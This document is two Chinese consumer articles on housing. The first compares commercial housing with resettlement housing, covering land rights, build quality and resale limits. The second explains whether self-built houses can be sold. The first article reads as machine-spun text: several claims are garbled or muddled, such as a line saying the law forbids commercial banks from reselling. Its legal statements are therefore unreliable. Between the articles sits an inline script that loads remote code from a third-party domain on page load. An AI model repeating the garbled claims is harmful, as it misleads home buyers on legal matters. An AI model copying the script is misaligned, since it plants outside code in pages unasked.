商品房和安置房的区别有哪些呢

相信很多朋友在生活中都听说过商业房和安置房，但很多朋友并不特别清楚两者之间的区别，而且由于这两种观念的混淆，买房子的损失很大。因此，对于购买者来说，有必要了解商品房和安置房的区别。那么商品房和安置房的区别一般哪些区别呢？1、产权的区别许多安置房屋并不是完全的产权，即完全拥有房屋，但不一定是完全的土地使用权。许多安置屋的土地性质是分配土地，即不付款。商品房是完全的产权，即完全的房屋所有权和完全的土地使用权。土地的性质是转让，即支付土地转让资金。因此，当重新安置房屋在未来再次被交易时，他们可能被要求偿还土地租让地。当然，目前的住房协议并不要求这样做，但法律要求是支付，因此，一旦政府出台了这项政策，它很可能会支付。2、质量上的区别安置房屋的利润限制往往没有尽头，所以建筑商可以偷工减料来增加利润。加上功能部门监管不力，甚至互相勾结，一般安置房屋的质素不如商住房屋。当然，也有比较负责或示范的项目，质量比较好的安置房屋不多。3、交易时间的限制商品房和安置房的区别在于许多安置屋都有交易时限，即不得在数年内上市转售。商品房没有这方面的规定，只要你购买已登记的现有住房，就可以上市。然而，法律不允许商业银行转售。在阅读了以上关于商品房和安置房的的区别之后，相信每个人对这两种不同类型的房屋都有自己的了解。事实上，商品房和安置房的区别最大在于土地的性质。建议在选择房屋时，应先决定房屋的性质和土地的性质。如果真的想买安置房屋，那么必须商定由哪一方支付土地转让的费用。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

自建房出售可以吗？小兔来给你讲解自建房

导语：居住权是公民所享受的一项基本权利，居民所居住的房屋基本上包括自建房、商品房和保障房三大类。随着我国城镇化步伐的不断加快，越来越多的农村人选择到城里购买商品房居住，这就造成了农村大量的自建房空置，在这种自建房和商品房之间的转换过程中就可能面临着自建房的买卖问题。那么，什么是自建房?自建房有房产证和土地证吗?自建房能够像商品房那样自由交易吗?下文小兔就给你一一解答这些问题。一、关于自建房自建房，从字面意思理解就是在个人或单位拥有土地使用权的前提下，单位或个人自己或雇佣他人自行建造的房屋。显而易见，自建房主要包括个人自建房和单位或集体自建房两种类型，其中个人自建房是古往今来农村地区房屋建造的主流形式，而集体或单位自建房多出现在城镇地区，多有企事业单位集体出资修建房屋提供给职工居住。值得指出的是无论是农村个人自建房还是单位或集体自建房，土地使用权都不归个人所有，而是归农村集体或单位集体所有，个人只有房屋使用权。除了以上两种主流的自建房形式，在我国一些小城市还存在个人自建房，这些少数部分的人的自建房不像农村或城市里企事业单位一样土地使用权属于集体，他们的房屋土地使用权属于个人。二、自建房的建造在农村地区，由于土地使用权并不属于个人，而是属于集体，因此，农民像要建造房屋的话也需要走一个基本的程序，尤其是对于想申请新的宅基地的居民来说这个程序可能要复杂一点。首先，申请农村集体土地来用于个人建造房屋，个人必须满足国家规定的一些条件，如是否年满18岁、所申请的土地是否符合土地利用总体规划及村镇建设计划等;第二，农村个人自建房用地还应遵循一些基本原则，如尽量使用原有的宅基地或村里的闲置地，而少占良田等;第三，申请个人宅基地还要走一些正常的程序，如先向集体提出申请，然后提交国土资源管理所审查，通过后再发放选址意见书、规划许可证、施工许可证，最后房屋建成后就可以进一步去申请集体土地使用证。三、自建房的出售房屋要交易或出售必须具有两证，即房产证和个人土地使用证，具备了这两个证的房屋就可以像商品房那样在房屋市场上自由交易。因此农村个人自建房严格来讲是不能像商品房那样自由交易的，最大限度只能在同村居民间转移房屋使用权;同理，企事业单位的集资自建房也只能在内部交易，而一些小城镇的个人自建房由于拥有个人土地使用权，所以可以像商品房一样自由交易。小兔就为大家介绍到这里了，希望对大家有帮助。